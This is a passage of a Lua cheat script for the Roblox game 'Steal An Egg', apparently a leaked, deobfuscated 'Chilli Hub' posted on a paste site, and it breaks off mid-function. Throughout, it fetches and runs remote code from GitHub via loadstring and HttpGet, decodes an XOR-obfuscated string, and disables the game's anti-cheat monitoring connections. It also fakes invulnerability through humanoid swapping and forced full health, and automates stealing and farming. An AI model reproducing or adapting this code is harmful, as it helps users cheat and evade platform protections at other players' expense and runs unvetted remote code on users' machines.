https://pastein.ru/t/yzE
Загрузка данных
-- mr robot Polsec max level I deobf luraph 15 leaked by xx alt
local fn
fn = function(arg)
local genv = typeof(getgenv) == "function" and getgenv() or _G
if type(genv.ChilliDebugPrint) == "function" then
pcall(genv.ChilliDebugPrint, arg)
end
end
task.spawn(pcall, function()
loadstring(
game:HttpGet(
"https://raw.githubusercontent.com/tienkhanh1/spicy/refs/heads/main/DiscordLink"
)
)()
end)
local v
local function fn2()
local response = nil
local function fn2()
if type(response) == "string" and #response > 0 then
return response
end
response =
game:HttpGet("https://raw.githubusercontent.com/tienkhanh1/spicy/main/Chilli%20Library")
return response
end
local function fn3()
local chilliHubSaeCleanup = (typeof(getgenv) == "function" and getgenv() or _G).ChilliHubSaeCleanup
if type(chilliHubSaeCleanup) == "function" then
pcall(chilliHubSaeCleanup)
end
local tbl = { game:GetService("CoreGui") }
if typeof(gethui) == "function" then
local ok, result = pcall(gethui)
ok = ok and typeof(result) == "Instance"
if ok then
table.insert(tbl, result)
end
end
local tbl2 = {
Settings = true,
ChilliLeftCenter = true,
ChilliLibrarySettings = true,
ChilliLibraryLauncher = true,
}
local n = 0
for _, v2 in ipairs(tbl) do
for _, child in ipairs(v2:GetChildren()) do
if
child:IsA("ScreenGui")
and (child:GetAttribute("ChilliLibraryOwned") == true or tbl2[child.Name])
then
pcall(function()
child:Destroy()
end)
n = n + 1
end
end
end
if n > 0 then
fn("cleared " .. n .. " leftover Chilli UI screens")
end
end
local function fn4()
local chunk, v2 = loadstring((fn2()))
assert(chunk, v2)
local v3 = chunk()
assert(type(v3) == "function", "Chilli Library bootstrap is invalid.")
local v4 = table.create(45)
local n = 1
for i = 1, 90, 2 do
v4[n] = string.char(
bit32.bxor(
tonumber(
string.sub(
"306908100841206d474f00185f26635b2101387507010810127d7d477a473b6f435a0916573165562900226c00",
i,
i + 1
),
16
),
string.byte("s9K!2vQ#", (n - 1) % 8 + 1)
)
)
n = n + 1
end
return v3(table.concat(v4))
end
local str = "unknown"
for i = 1, 6 do
task.wait()
pcall(fn3)
local ok, result = pcall(fn4)
ok = ok and type(result) == "table"
if ok then
return result
end
str = tostring(result)
if type(str) == "string" and string.find(str, "HttpGet", 1, true) then
response = nil
end
fn("library load attempt " .. i .. " failed: " .. str)
task.wait(1 + i * 0.5)
end
error("Chilli Library failed to load: " .. str, 0)
end
v = fn2()
assert(
type(v) == "table" and type(v.CreateWindow) == "function" and type(v.Finalize) == "function",
"Chilli Library returned an invalid API."
)
v.ManualQuickDefaults = {
PinnedFeatures = { "Player > Movement > Speed Boost", "Player > Movement > Boost Speed" },
Keybinds = { ["Player > Movement > Speed Boost"] = "Q" },
PinGroups = {},
LeftCenterHidden = true,
}
local v2
v2 = v:CreateWindow({ Name = "Chilli Hub - Steal An Egg", DefaultTab = "Farm" })
local defaultTab
defaultTab = v2:GetDefaultTab()
local Players
Players = game:GetService("Players")
local RunService
RunService = game:GetService("RunService")
local ReplicatedStorage
ReplicatedStorage = game:GetService("ReplicatedStorage")
local CoreGui
CoreGui = game:GetService("CoreGui")
local UserInputService
UserInputService = game:GetService("UserInputService")
local CollectionService
CollectionService = game:GetService("CollectionService")
game:GetService("LocalizationService")
local ProximityPromptService
ProximityPromptService = game:GetService("ProximityPromptService")
local localPlayer
localPlayer = Players.LocalPlayer
local networking
networking = ReplicatedStorage:WaitForChild("Packages"):WaitForChild("Networking")
local fn3
fn3 = function(arg)
local ok, result = pcall(function()
return require(arg())
end)
if not ok then
result = ok
end
local v3 = result or nil
return v3
end
local tbl
tbl = {
EggState = fn3(function()
return ReplicatedStorage.Client.EggState
end),
AreaEggs = fn3(function()
return ReplicatedStorage.Shared.Types.AreaEggs
end),
ToolGameplayGuard = fn3(function()
return ReplicatedStorage.Client.ToolGameplayGuard
end),
Assets = fn3(function()
return ReplicatedStorage.Data.Assets
end),
Guards = fn3(function()
return ReplicatedStorage.Data.Guards
end),
EggRecords = fn3(function()
return ReplicatedStorage.Shared.Util.EggRecords
end),
Mutations = fn3(function()
return ReplicatedStorage.Shared.Modules.Mutations
end),
Save = fn3(function()
return ReplicatedStorage.Shared.Save
end),
FuseKernel = fn3(function()
return ReplicatedStorage.Shared.Util.FuseKernel
end),
AreaEggCycle = fn3(function()
return ReplicatedStorage.Shared.Util.AreaEggCycle
end),
AreaEggResetWall = fn3(function()
return ReplicatedStorage.Client.AreaEggResetWall
end),
AreaEggResetCycle = fn3(function()
return ReplicatedStorage.Data.AreaEggResetCycle
end),
Gears = fn3(function()
return ReplicatedStorage.Data.Gears
end),
Areas = fn3(function()
return ReplicatedStorage.Data.Areas
end),
LimitedEgg = fn3(function()
return ReplicatedStorage.Data.LimitedEgg
end),
BrainrotEgg = fn3(function()
return ReplicatedStorage.Data.BrainrotEgg
end),
MonsterEgg = fn3(function()
return ReplicatedStorage.Data.MonsterEgg
end),
}
local v3
local function fn4()
if typeof(gethui) == "function" then
local ok, result = pcall(gethui)
ok = ok and typeof(result) == "Instance"
if ok then
return result
end
end
return CoreGui
end
v3 = fn4()
local fn5
do
local v4 = Random.new()
local str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
fn5 = function()
local v5 = v4:NextInteger(12, 20)
local v6 = table.create(v5)
for i = 1, v5 do
local v7 = v4:NextInteger(1, #str)
v6[i] =
string.sub("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", v7, v7)
end
return table.concat(v6)
end
end
local fn6, fn7
do
local tbl2 = {}
fn6 = function(arg)
table.insert(tbl2, arg)
end
local str = "All"
fn7 = function(arg)
if type(arg) ~= "table" then
return arg
end
local value = rawget(arg, "Instance")
if typeof(value) ~= "Instance" then
return arg
end
local flag = false
local function fn8(arg2)
if flag then
return
end
if arg2.Text == "None" then
flag = true
arg2.Text = str
flag = false
end
end
local function fn9(arg2)
if not arg2:IsA("TextLabel") or arg2.Name ~= "Value" then
return
end
fn8(arg2)
local connection = arg2:GetPropertyChangedSignal("Text"):Connect(function()
fn8(arg2)
end)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
end
for _, descendant in ipairs(value:GetDescendants()) do
fn9(descendant)
end
local connection = value.DescendantAdded:Connect(fn9)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
return arg
end
local genv = typeof(getgenv) == "function" and getgenv() or _G
local chilliHubSaeCleanup = genv.ChilliHubSaeCleanup
if type(chilliHubSaeCleanup) == "function" then
pcall(chilliHubSaeCleanup)
end
genv.ChilliHubSaeCleanup = function()
for i = #tbl2, 1, -1 do
pcall(tbl2[i])
end
table.clear(tbl2)
end
end
do
local n = 0
local fn8 = nil
fn8 = function(arg, arg2)
local n2 = arg2 or 0
if type(arg) == "table" then
if 3 < n2 then
return
end
local n3 = 0
for k, v4 in pairs(arg) do
n3 = n3 + 1
if not (n3 > 20) then
fn8(k, n2 + 1)
fn8(v4, n2 + 1)
continue
end
break
end
elseif typeof(arg) == "Instance" then
pcall(arg.GetFullName, arg)
else
n = n + #tostring(arg)
end
end
local tbl2 = {}
local function fn9(arg)
local n2 = #tbl2 + 1
tbl2[n2] = arg
end
local function fn10()
for _, v4 in ipairs(tbl2) do
pcall(function()
v4:Disconnect()
end)
end
table.clear(tbl2)
end
local function fn11()
fn10()
for _, v4 in ipairs({
"RE/GearSatchel/Lost",
"RE/GearSatchel/Gained",
"RE/RigSync/ProbeSatchel",
"RE/RigSync/SeedSatchel",
"RE/RigSync/CorrectionBegan",
"RE/RigSync/Refresh",
"RE/ToolTrigger/Trigger",
"RE/BatSwing/Trigger",
}) do
local v5 = networking:FindFirstChild(v4)
if v5 and v5:IsA("RemoteEvent") then
fn9(v5.OnClientEvent:Connect(function(...)
fn8({ ... })
end))
end
end
local function fn11(arg)
if not arg then
return
end
fn9(arg.ChildRemoved:Connect(function(arg2)
if arg2:IsA("Tool") then
fn8({ arg2.Name, arg2.Parent })
end
end))
fn9(arg.ChildAdded:Connect(function(arg2)
if arg2:IsA("Tool") then
fn8({ arg2.Name })
end
end))
end
fn11(localPlayer:FindFirstChildOfClass("Backpack"))
fn9(localPlayer.ChildAdded:Connect(function(arg)
if arg:IsA("Backpack") then
fn11(arg)
end
end))
task.spawn(function()
pcall(function()
local v4 = require(ReplicatedStorage.Shared.Save).Get()
fn8({ v4.GearInventory, v4.Inventory }, 2)
end)
if type(getgc) == "function" then
pcall(function()
for _, v4 in ipairs(getgc(false)) do
if type(v4) == "function" and islclosure(v4) then
pcall(debug.info, v4, "n")
end
end
end)
end
end)
end
local genv = typeof(getgenv) == "function" and getgenv() or _G
genv.ChilliToolKeeper = fn11
task.defer(fn11)
fn6(fn10)
end
local tbl2
do
local n = 0.35
local n2 = 5
local tbl3 = {}
local flag = true
tbl2 = {
Add = function(arg)
local tbl4 = { Run = arg, Gap = n, Idle = n2, Repeat = false, Hold = 0 }
table.insert(tbl3, tbl4)
return tbl4
end,
Wake = function()
flag = true
end,
Backoff = function(arg, arg2)
if arg then
arg.Hold = tonumber(arg2) or 6
end
end,
}
local connection = RunService.Heartbeat:Connect(function(arg)
local v4 = flag
flag = false
for _, v5 in ipairs(tbl3) do
v5.Gap = v5.Gap + arg
v5.Idle = v5.Idle + arg
if 0 < v5.Hold then
v5.Hold = v5.Hold - arg
elseif v5.Gap >= n and (v4 or v5.Repeat or v5.Idle >= n2) then
v5.Gap = 0
v5.Idle = 0
local ok, result = pcall(v5.Run, v5)
ok = ok and result == true
v5.Repeat = ok
end
end
end)
fn6(function()
connection:Disconnect()
end)
end
local v4
v4 = defaultTab:CreateSection({ Name = "Dr Scramble Event", Expanded = false })
local v5
v5 = defaultTab:CreateSection({ Name = "Auto Steal", Expanded = true })
local v6
v6 = defaultTab:CreateSection({ Name = "Auto Place Egg", Expanded = false })
local v7
v7 = defaultTab:CreateSection({ Name = "Auto Treadmill", Expanded = false })
local v8
v8 = defaultTab:CreateSection({ Name = "Auto Hatch & Equip", Expanded = false })
local v9
v9 = defaultTab:CreateSection({ Name = "Auto Sell", Expanded = false })
local v10
v10 = defaultTab:CreateSection({ Name = "Auto Fuse Machine", Expanded = false })
local v11
v11 = defaultTab:CreateSection({ Name = "Auto Favorite", Expanded = false })
local v12
v12 = defaultTab:CreateSection({ Name = "Auto Rift & Boss", Expanded = false })
local tbl3
tbl3 = { Paused = false }
do
local n = 0.5
local v13 = nil
local tbl4 = nil
local tbl5 = {}
local flag = false
local n2 = 0
local function fn8()
for i = #tbl5, 1, -1 do
local v14 = tbl5[i]
if v14 and v14.Connected then
v14:Disconnect()
end
tbl5[i] = nil
end
end
local function fn9()
fn8()
local v14 = v13
local v15 = tbl4
v13 = nil
tbl4 = nil
if not v14 or not v14.Parent or not v15 then
return
end
pcall(function()
v14.BreakJointsOnDeath = v15.BreakJointsOnDeath
v14.RequiresNeck = v15.RequiresNeck
v14:SetStateEnabled(Enum.HumanoidStateType.Dead, v15.DeadEnabled)
end)
end
local function fn10(arg)
if not arg or not arg.Parent then
return false
end
local flag2 = pcall(function()
arg.BreakJointsOnDeath = false
arg.RequiresNeck = false
arg:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
end) and arg.BreakJointsOnDeath == false and arg.RequiresNeck == false and arg:GetStateEnabled(
Enum.HumanoidStateType.Dead
) == false
return flag2
end
local function fn11(arg)
if tbl3.Paused or arg ~= v13 or not arg or not arg.Parent or flag then
return false
end
local maxHealth = arg.MaxHealth
if maxHealth <= 0 then
return false
end
if maxHealth == math.huge or arg.Health >= maxHealth then
return true
end
flag = true
local ok = pcall(function()
arg.Health = maxHealth
end)
flag = false
ok = ok and arg.Health >= maxHealth
return ok
end
local function fn12(arg)
if arg == v13 and arg and arg.Parent then
return true
end
fn9()
if not arg or not arg:IsA("Humanoid") or not arg.Parent then
return false
end
v13 = arg
tbl4 = {
BreakJointsOnDeath = arg.BreakJointsOnDeath,
RequiresNeck = arg.RequiresNeck,
DeadEnabled = arg:GetStateEnabled(Enum.HumanoidStateType.Dead),
}
if not fn10(arg) then
fn9()
return false
end
fn11(arg)
local n3 = #tbl5 + 1
tbl5[n3] = arg.HealthChanged:Connect(function()
fn11(arg)
end)
local n4 = #tbl5 + 1
tbl5[n4] = arg:GetPropertyChangedSignal("MaxHealth"):Connect(function()
fn11(arg)
end)
local n5 = #tbl5 + 1
tbl5[n5] = arg.StateChanged:Connect(function(arg2, arg3)
if arg3 == Enum.HumanoidStateType.Dead and not tbl3.Paused then
fn10(arg)
fn11(arg)
end
end)
n2 = os.clock()
return true
end
local function fn13()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid") or nil
return humanoid
end
local connection = localPlayer.CharacterAdded:Connect(function()
task.defer(function()
fn12(fn13())
end)
end)
local connection2 = RunService.Heartbeat:Connect(function()
local now = os.clock()
if tbl3.Paused or now - n2 < n then
return
end
n2 = now
local v14 = fn13()
if v14 ~= v13 then
fn12(v14)
return
end
if v14 then
fn10(v14)
fn11(v14)
end
end)
task.defer(function()
fn12(fn13())
end)
fn6(function()
if connection then
connection:Disconnect()
end
if connection2 then
connection2:Disconnect()
end
fn9()
end)
end
local tbl4
local tbl5 = { "bat", "katana", "axe", "staff", "club", "hammer", "sword", "blade" }
tbl4 = {
Steal = { Active = false, LastFinishedAt = 0, Carrying = false },
Movement = {
Owner = nil,
PlaceWanted = false,
StealFirst = false,
MutationWanted = false,
FracturedWanted = false,
},
AntiGuard = {
Enabled = false,
Busy = false,
BusySince = 0,
HitArms = 0,
Handle = nil,
Render = nil,
},
IsBatTool = function(arg)
if typeof(arg) ~= "Instance" or not arg:IsA("Tool") then
return false
end
if arg:GetAttribute("IsBat") == true then
return true
end
local attribute = arg:GetAttribute("GearName")
if type(attribute) == "string" then
local gears = tbl.Gears
local directory = type(gears) == "table" and gears.Directory or nil
local flag = type(directory) == "table" and directory[attribute] or nil
local flag2 = type(flag) == "table" and flag.BatControllerData ~= nil
return flag2
end
if arg:GetAttribute("ItemType") ~= nil then
return false
end
local v13 = string.lower(arg.Name)
for _, v14 in ipairs(tbl5) do
if string.find(v13, v14, 1, true) then
return true
end
end
return false
end,
}
tbl4.FindBat = function()
local character = localPlayer.Character
local tool = character and character:FindFirstChildWhichIsA("Tool")
if tbl4.IsBatTool(tool) then
return tool
end
local backpack = localPlayer:FindFirstChildOfClass("Backpack")
if backpack then
for _, child in ipairs(backpack:GetChildren()) do
if tbl4.IsBatTool(child) then
return child
end
end
end
if character then
for _, child in ipairs(character:GetChildren()) do
if tbl4.IsBatTool(child) then
return child
end
end
end
return nil
end
tbl4.IsNight = function()
local areaEggCycle = tbl.AreaEggCycle
if type(areaEggCycle) ~= "table" or type(areaEggCycle.IsNightPhase) ~= "function" then
return false
end
local ok, result = pcall(areaEggCycle.IsNightPhase, workspace:GetServerTimeNow())
ok = ok and result == true
return ok
end
tbl4.WallSealed = function()
local areaEggResetWall = tbl.AreaEggResetWall
if type(areaEggResetWall) ~= "table" or type(areaEggResetWall.IsSealed) ~= "function" then
return false
end
local ok, result = pcall(areaEggResetWall.IsSealed)
ok = ok and result == true
return ok
end
tbl4.WallOpenDelay = function()
local areaEggResetCycle = tbl.AreaEggResetCycle
if type(areaEggResetCycle) ~= "table" then
return 5
end
local n = tonumber(areaEggResetCycle.WallCountdownDelayAfterDayStartsSeconds) or 2
local n2 = tonumber(areaEggResetCycle.WallCountdownSeconds) or 3
return n + n2
end
tbl4.ClaimMovement = function(arg)
local movement = tbl4.Movement
if
movement.Owner == nil
or movement.Owner == arg
or movement.Owner == "treadmill" and arg ~= "treadmill"
or movement.Owner == "scramble" and arg == "steal"
then
movement.Owner = arg
return true
end
return false
end
tbl4.ReleaseMovement = function(arg)
if tbl4.Movement.Owner == arg then
tbl4.Movement.Owner = nil
end
end
do
local tbl6 = { "Humanoid Swap", "Disable Monitor" }
tbl4.ShieldMethods = tbl6
local v13 = tbl6[1]
local tbl7 = {}
local tbl8 = {}
local connection = nil
local n = 0
local tbl9 = { Original = nil, Clone = nil, Links = {} }
local connection2 = nil
local tbl10 = {}
local function fn8()
for _, v14 in ipairs(tbl10) do
task.defer(function()
pcall(v14)
end)
end
end
tbl4.OnHumanoidChanged = function(arg)
table.insert(tbl10, arg)
local tbl11 = { Connected = true }
tbl11.Disconnect = function()
tbl11.Connected = false
local v14 = table.find(tbl10, arg)
if v14 then
table.remove(tbl10, v14)
end
end
return tbl11
end
local function fn9(arg)
pcall(function()
local playerScripts = localPlayer:FindFirstChild("PlayerScripts")
playerScripts = playerScripts and playerScripts:FindFirstChild("PlayerModule")
if playerScripts then
local controls = require(playerScripts):GetControls()
if type(controls) == "table" then
controls.humanoid = arg
end
end
end)
end
local function fn10(arg)
local animate = arg and arg:FindFirstChild("Animate")
if animate and animate:IsA("LocalScript") then
task.spawn(function()
animate.Enabled = false
task.wait()
animate.Enabled = true
end)
end
end
local function fn11()
for _, v14 in ipairs(tbl9.Links) do
pcall(function()
v14:Disconnect()
end)
end
table.clear(tbl9.Links)
end
tbl4.UndoSwap = function()
fn11()
local character = localPlayer.Character
local original = tbl9.Original
local clone = tbl9.Clone
local v14 = tbl9
tbl9.Original = nil
v14.Clone = nil
if
original
and clone
and character
and original.Parent == nil
and clone.Parent == character
then
original.Parent = character
workspace.CurrentCamera.CameraSubject = original
fn9(original)
pcall(function()
clone:Destroy()
end)
fn10(character)
fn8()
end
end
local tbl11 = {
[Enum.HumanoidStateType.Running] = true,
[Enum.HumanoidStateType.RunningNoPhysics] = true,
[Enum.HumanoidStateType.Landed] = true,
}
tbl4.Grounded = function(arg)
if not arg then
arg = localPlayer.Character
arg = arg and arg:FindFirstChildOfClass("Humanoid")
end
if not arg or arg.Health <= 0 or arg.FloorMaterial == Enum.Material.Air then
return false
end
return tbl11[arg:GetState()] == true
end
tbl4.ShieldPaused = false
local function fn12()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health <= 0 then
return
end
if tbl9.Clone and tbl9.Clone.Parent == character then
return
end
if not tbl4.Grounded(humanoid) then
return
end
local clone = humanoid:Clone()
humanoid.Parent = nil
clone.Parent = character
workspace.CurrentCamera.CameraSubject = clone
fn9(clone)
fn10(character)
local v14 = tbl9
tbl9.Original = humanoid
v14.Clone = clone
fn8()
local animator = humanoid:FindFirstChildOfClass("Animator")
local animator2 = clone:FindFirstChildOfClass("Animator")
if animator and animator2 then
table.insert(
tbl9.Links,
animator.AnimationPlayed:Connect(function(arg)
local animation = arg.Animation
if not animation or clone.Parent == nil then
return
end
local ok, result = pcall(function()
return animator2:LoadAnimation(animation)
end)
local v15 = result
if not ok or not v15 then
return
end
pcall(function()
v15.Priority = arg.Priority
v15.Looped = arg.Looped
local speed = arg.Speed
v15:Play(0.05, math.max(arg.WeightTarget, 0.01), speed)
end)
local connection3 = nil
connection3 = arg.Stopped:Connect(function()
connection3:Disconnect()
pcall(function()
v15:Stop(0.1)
end)
end)
end)
)
end
table.insert(
tbl9.Links,
clone.Died:Connect(function()
fn11()
local v15 = tbl9
tbl9.Original = nil
v15.Clone = nil
local character2 = localPlayer.Character
if character2 and humanoid.Parent == nil then
humanoid.Parent = character2
workspace.CurrentCamera.CameraSubject = humanoid
fn9(humanoid)
fn8()
end
pcall(function()
clone:Destroy()
end)
humanoid.Health = 0
end)
)
end
local function fn13()
if type(getconnections) ~= "function" then
return
end
for _, v14 in ipairs({
RunService.Heartbeat,
RunService.PreSimulation,
RunService.PostSimulation,
}) do
local ok, result = pcall(getconnections, v14)
local v15 = result
ok = ok and type(v15) == "table"
if ok then
for _, v16 in ipairs(v15) do
local ok2, result2 = pcall(function()
return v16.Function
end)
local flag = ok2 and type(result2) == "function"
local flag2 = false
local result3 = nil
if flag then
flag2, result3 = pcall(debug.info, result2, "s")
end
flag2 = flag2 and string.find(tostring(result3), "UGI", 1, true)
if flag2 then
local ok3, result4 = pcall(function()
return v16.Enabled
end)
if not ok3 or result4 ~= false then
if
pcall(function()
v16:Disable()
end)
then
table.insert(tbl8, v16)
end
end
end
end
end
end
end
local function fn14()
if connection then
connection:Disconnect()
connection = nil
end
if connection2 then
connection2:Disconnect()
connection2 = nil
end
for _, v14 in ipairs(tbl8) do
pcall(function()
v14:Enable()
end)
end
table.clear(tbl8)
end
local function fn15()
if tbl4.ShieldPaused then
return
end
if v13 == tbl6[1] then
fn12()
else
fn13()
end
end
local function fn16()
fn15()
n = 0
connection = RunService.Heartbeat:Connect(function(arg)
n = n + arg
local character = localPlayer.Character
local flag = v13 == tbl6[1]
if flag then
flag = not (tbl9.Clone and character and tbl9.Clone.Parent == character)
end
local v14 = n
flag = flag and 0.25
flag = flag or 3
if flag <= v14 then
n = 0
fn15()
end
end)
connection2 = localPlayer.CharacterAdded:Connect(function(arg)
fn11()
local v14 = tbl9
tbl9.Original = nil
v14.Clone = nil
if v13 ~= tbl6[1] then
return
end
task.spawn(function()
arg:WaitForChild("Humanoid", 10)
task.wait(1)
local flag = connection
if connection then
flag = localPlayer.Character == arg
end
if flag then
fn15()
end
end)
end)
end
tbl4.Swapped = function()
if v13 ~= tbl6[1] then
return true
end
local character = localPlayer.Character
local flag = tbl9.Clone ~= nil and character ~= nil and tbl9.Clone.Parent == character
return flag
end
tbl4.Shield = function(arg, arg2)
local v14 = tbl7
v14[arg] = arg2 == true or nil
if next(tbl7) == nil then
fn14()
return
end
if connection then
return
end
fn16()
end
tbl4.SetShieldMethod = function(arg)
if not table.find(tbl6, arg) or arg == v13 then
return
end
local flag = connection ~= nil
fn14()
v13 = arg
flag = flag and next(tbl7) ~= nil
if flag then
fn16()
end
end
fn6(fn14)
end
tbl4.Shield("load", true)
tbl4.Toggle = function(arg, arg2)
if type(arg) ~= "table" then
return arg2 == true
end
local ok, result = pcall(function()
local controller = arg._controller
local flag = type(controller) == "table"
and type(controller.GetValue) == "function"
and controller.GetValue()
return flag
end)
ok = ok and type(result) == "boolean"
if ok then
return result
end
for _, v13 in ipairs({ "Get", "GetValue" }) do
local ok2, result2 = pcall(function()
return arg[v13]
end)
local v14 = result2
ok2 = ok2 and type(v14) == "function"
if ok2 then
local ok3, result3 = pcall(v14, arg)
ok3 = ok3 and type(result3) == "boolean"
if ok3 then
return result3
end
end
end
return arg2 == true
end
tbl4.Root = function()
local character = localPlayer.Character
character = character and character:FindFirstChild("HumanoidRootPart")
local v13 = character and character:IsDescendantOf(workspace)
if not v13 then
character = v13
end
character = character or nil
return character
end
tbl4.PlacedPoints = function()
local placedEggRenders = workspace:FindFirstChild("PlacedEggRenders")
local tbl6 = {}
if not placedEggRenders then
return tbl6
end
local str = tostring(localPlayer.UserId)
for _, child in ipairs(placedEggRenders:GetChildren()) do
if string.find(child.Name, str, 1, true) then
local ok, result = pcall(function()
local pivot = child:IsA("Model") and child:GetPivot() or child.CFrame
return pivot
end)
if ok then
table.insert(tbl6, result.Position)
end
end
end
return tbl6
end
tbl4.OwnPlot = function()
local plots = workspace:FindFirstChild("Plots")
if not plots then
return nil
end
for _, child in ipairs(plots:GetChildren()) do
local plotSign = child:FindFirstChild("PlotSign")
plotSign = plotSign and plotSign:FindFirstChild("PlayerPlotSign")
plotSign = plotSign and plotSign:FindFirstChild("Frame")
plotSign = plotSign and plotSign:FindFirstChild("PlayerName")
if plotSign and plotSign:IsA("TextLabel") then
local v13 = string.lower(plotSign.Text)
if
v13 == string.lower(localPlayer.Name)
or v13 == string.lower(localPlayer.DisplayName)
then
return child
end
continue
end
end
return nil
end
local function fn8()
local v13 = tbl4.PlacedPoints()
if #v13 == 0 then
return nil
end
local vector = Vector3.new(0, 0, 0)
for _, v14 in ipairs(v13) do
vector = vector + v14
end
return vector / #v13
end
tbl4.PenAnchor = function()
local v13 = fn8()
if v13 then
return v13
end
local v14 = tbl4.OwnPlot()
if not v14 then
return nil
end
local toUpdate = v14:FindFirstChild("ToUpdate")
toUpdate = toUpdate and toUpdate:FindFirstChild("StarterPen")
local centerPoint = toUpdate or v14:FindFirstChild("CenterPoint")
if not centerPoint then
return nil
end
local ok, result = pcall(function()
local pivot = centerPoint:IsA("Model") and centerPoint:GetPivot() or centerPoint.CFrame
return pivot
end)
ok = ok and result.Position
ok = ok or nil
return ok
end
tbl4.Plot = function()
local v13 = tbl4.OwnPlot()
if v13 then
return v13
end
local plots = workspace:FindFirstChild("Plots")
local v14 = fn8()
if not plots or not v14 then
return nil
end
local huge = math.huge
local v15 = nil
for _, child in ipairs(plots:GetChildren()) do
local ok, result, result2 = pcall(function()
return child:GetBoundingBox()
end)
local v16 = result
local v17 = result2
ok = ok and v16
ok = ok and v17
if ok then
local v18 = v16:PointToObjectSpace(v14)
local n = v17.X / 2
local flag = math.abs(v18.X) <= n
if flag then
local n2 = v17.Z / 2
flag = math.abs(v18.Z) <= n2
end
if flag then
return child
end
local magnitude = (v16.Position - v14).Magnitude
if magnitude < huge then
v15 = child
huge = magnitude
end
end
end
if v15 and huge <= 60 then
return v15
end
return nil
end
tbl4.Belt = function()
local v13 = tbl4.Plot()
if not v13 then
return nil
end
local treadmillBottom = v13:FindFirstChild("TreadmillBottom")
if treadmillBottom and treadmillBottom:IsA("BasePart") then
return treadmillBottom
end
local clientTreadmillRenders = workspace:FindFirstChild("__ClientTreadmillRenders")
clientTreadmillRenders = clientTreadmillRenders
and clientTreadmillRenders:FindFirstChild("TreadmillRender_" .. v13.Name)
local primaryPart
if clientTreadmillRenders then
local boundingBoxPart = clientTreadmillRenders:FindFirstChild("BoundingBoxPart")
if boundingBoxPart then
primaryPart = boundingBoxPart
else
primaryPart = clientTreadmillRenders:IsA("Model") and clientTreadmillRenders.PrimaryPart
end
primaryPart = primaryPart or clientTreadmillRenders:FindFirstChildWhichIsA("BasePart")
else
primaryPart = clientTreadmillRenders
end
if primaryPart then
return primaryPart
end
local treadmillUpgrade = v13:FindFirstChild("TreadmillUpgrade")
treadmillUpgrade = treadmillUpgrade and treadmillUpgrade:FindFirstChildWhichIsA("BasePart")
treadmillUpgrade = treadmillUpgrade or nil
return treadmillUpgrade
end
tbl4.DistanceTo = function(arg)
local v13 = tbl4.Root()
if not v13 or not arg then
return math.huge
end
return (v13.Position - arg).Magnitude
end
do
local tbl6 = {}
local n = 0
local function fn9()
local v13 = tbl4.Plot()
if not v13 then
return {}
end
local tbl7 = {}
for _, v14 in ipairs({ "TreadmillBottom", "TreadmillUpgrade" }) do
local v15 = v13:FindFirstChild(v14)
if v15 then
if v15:IsA("BasePart") then
table.insert(tbl7, v15)
else
for _, descendant in ipairs(v15:GetDescendants()) do
if descendant:IsA("BasePart") then
table.insert(tbl7, descendant)
end
end
end
end
end
local clientTreadmillRenders = workspace:FindFirstChild("__ClientTreadmillRenders")
clientTreadmillRenders = clientTreadmillRenders
and clientTreadmillRenders:FindFirstChild("TreadmillRender_" .. v13.Name)
if clientTreadmillRenders then
for _, descendant in ipairs(clientTreadmillRenders:GetDescendants()) do
if descendant:IsA("BasePart") then
table.insert(tbl7, descendant)
end
end
end
return tbl7
end
local function fn10()
for _, v13 in ipairs(fn9()) do
if not tbl6[v13] then
tbl6[v13] = {
CFrame = v13.CFrame,
CanTouch = v13.CanTouch,
CanCollide = v13.CanCollide,
Transparency = v13.Transparency,
}
pcall(function()
v13.CanTouch = false
v13.CanCollide = false
v13.Transparency = 1
v13.CFrame = v13.CFrame - Vector3.new(0, 120, 0)
end)
end
end
end
local function fn11()
for k, v13 in pairs(tbl6) do
if k and k.Parent then
pcall(function()
k.CFrame = v13.CFrame
k.CanTouch = v13.CanTouch
k.CanCollide = v13.CanCollide
k.Transparency = v13.Transparency
end)
end
end
table.clear(tbl6)
end
tbl4.HoldBelt = function()
n = n + 1
fn10()
end
tbl4.ReleaseBelt = function()
n = math.max(0, n - 1)
if n == 0 then
fn11()
end
end
tbl4.BeltHeld = function()
return n > 0
end
tbl4.RefreshBeltHide = function()
if n > 0 then
fn10()
end
end
fn6(function()
n = 0
fn11()
end)
tbl4.LeaveBelt = function()
local rfTreadmillAskDoff = networking:FindFirstChild("RF/Treadmill/AskDoff")
if rfTreadmillAskDoff and rfTreadmillAskDoff:IsA("RemoteFunction") then
pcall(rfTreadmillAskDoff.InvokeServer, rfTreadmillAskDoff)
end
end
tbl4.Treadmill = { Riding = false }
tbl4.ResetBelt = function()
n = 0
fn11()
end
tbl4.OnBelt = function()
local v13 = tbl4.Belt()
if not v13 or tbl6[v13] then
return false
end
local v14 = tbl4.Root()
if not v14 then
return false
end
local v15 = v13.CFrame:PointToObjectSpace(v14.Position)
local n2 = v13.Size.X / 2 + 2
local flag = math.abs(v15.X) <= n2
local flag2
if flag then
local n3 = v13.Size.Z / 2 + 2
flag2 = math.abs(v15.Z) <= n3
else
flag2 = flag
end
flag2 = flag2 and v15.Y >= -2
flag2 = flag2 and v15.Y <= v13.Size.Y / 2 + 8
return flag2
end
end
tbl4.ExitBelt = function()
tbl4.Treadmill.Riding = false
tbl4.LeaveBelt()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
pcall(function()
humanoid.Jump = true
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end)
end
task.wait(0.35)
end
tbl4.Flying = false
tbl4.Driving = 0
tbl4.BeginFlight = function()
tbl4.Flying = true
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.PlatformStand = true
pcall(function()
humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
end)
end
return tbl4.Root() ~= nil
end
tbl4.SetFlightVelocity = function(arg)
local v13 = tbl4.Root()
if v13 then
v13.AssemblyLinearVelocity = arg
v13.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end
end
tbl4.EndFlight = function()
tbl4.Flying = false
